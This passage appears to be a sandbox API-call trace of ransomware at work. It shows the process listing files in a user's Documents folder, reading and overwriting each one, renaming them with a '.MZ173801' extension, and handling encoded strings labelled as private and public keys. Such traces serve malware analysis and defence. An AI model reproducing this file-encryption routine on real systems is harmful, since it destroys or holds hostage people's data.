lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.245] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xe858 [0169.245] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.246] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0xe858, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0xe858, lpOverlapped=0x0) returned 1 [0169.247] CloseHandle (hObject=0x2f8) returned 1 [0169.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.250] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b8fa0*, nNumberOfBytesToWrite=0xe858, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b8fa0*, lpNumberOfBytesWritten=0x19f758*=0xe858, lpOverlapped=0x0) returned 1 [0169.252] CloseHandle (hObject=0x2f8) returned 1 [0169.252] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\FLOta7xX0gkrp_QvZlm.pps.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\flota7xx0gkrp_qvzlm.pps.mz173801")) returned 1 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] GetCurrentThreadId () returned 0xab4 [0169.253] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bc330, ftCreationTime.dwHighDateTime=0x1d5ee82, ftLastAccessTime.dwLowDateTime=0x468a15d0, ftLastAccessTime.dwHighDateTime=0x1d5e393, ftLastWriteTime.dwLowDateTime=0x468a15d0, ftLastWriteTime.dwHighDateTime=0x1d5e393, nFileSizeHigh=0x0, nFileSizeLow=0x156fe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="GNOiUpMyGYPL6CR0_4T.ods", cAlternateFileName="GNOIUP~1.ODS")) returned 1 [0169.253] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.253] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.253] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc652b1b0, ftCreationTime.dwHighDateTime=0x1d5e7b6, ftLastAccessTime.dwLowDateTime=0xe1239350, ftLastAccessTime.dwHighDateTime=0x1d5e668, ftLastWriteTime.dwLowDateTime=0xe1239350, ftLastWriteTime.dwHighDateTime=0x1d5e668, nFileSizeHigh=0x0, nFileSizeLow=0x180f2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="HqBE4s3H uNUYMjPX.xlsx", cAlternateFileName="HQBE4S~1.XLS")) returned 1 [0169.254] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.254] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc652b1b0, ftCreationTime.dwHighDateTime=0x1d5e7b6, ftLastAccessTime.dwLowDateTime=0xe1239350, ftLastAccessTime.dwHighDateTime=0x1d5e668, ftLastWriteTime.dwLowDateTime=0xe1239350, ftLastWriteTime.dwHighDateTime=0x1d5e668, nFileSizeHigh=0x0, nFileSizeLow=0x180f2)) returned 1 [0169.254] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx")) returned 0x20 [0169.254] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx", dwFileAttributes=0x80) returned 1 [0169.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0169.257] GetCurrentThreadId () returned 0xab4 [0169.258] GetCurrentThreadId () returned 0xab4 [0169.258] GetCurrentThreadId () returned 0xab4 [0169.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.258] GetCurrentThreadId () returned 0xab4 [0169.259] GetCurrentThreadId () returned 0xab4 [0169.259] GetCurrentThreadId () returned 0xab4 [0169.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.259] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.259] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.259] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x180f2 [0169.259] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.259] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x180f2, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0x180f2, lpOverlapped=0x0) returned 1 [0169.261] CloseHandle (hObject=0x2f8) returned 1 [0169.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.265] WriteFile (in: hFile=0x2f8, lpBuffer=0x24c2fa0*, nNumberOfBytesToWrite=0x180f2, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24c2fa0*, lpNumberOfBytesWritten=0x19f758*=0x180f2, lpOverlapped=0x0) returned 1 [0169.459] CloseHandle (hObject=0x2f8) returned 1 [0169.525] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\HqBE4s3H uNUYMjPX.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\hqbe4s3h unuymjpx.xlsx.mz173801")) returned 1 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] GetCurrentThreadId () returned 0xab4 [0169.526] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f15eb40, ftCreationTime.dwHighDateTime=0x1d5eda3, ftLastAccessTime.dwLowDateTime=0x46de7b40, ftLastAccessTime.dwHighDateTime=0x1d5e9d1, ftLastWriteTime.dwLowDateTime=0x46de7b40, ftLastWriteTime.dwHighDateTime=0x1d5e9d1, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ihvJct4-a.xls", cAlternateFileName="IHVJCT~1.XLS")) returned 1 [0169.526] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.526] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls" (normalized: 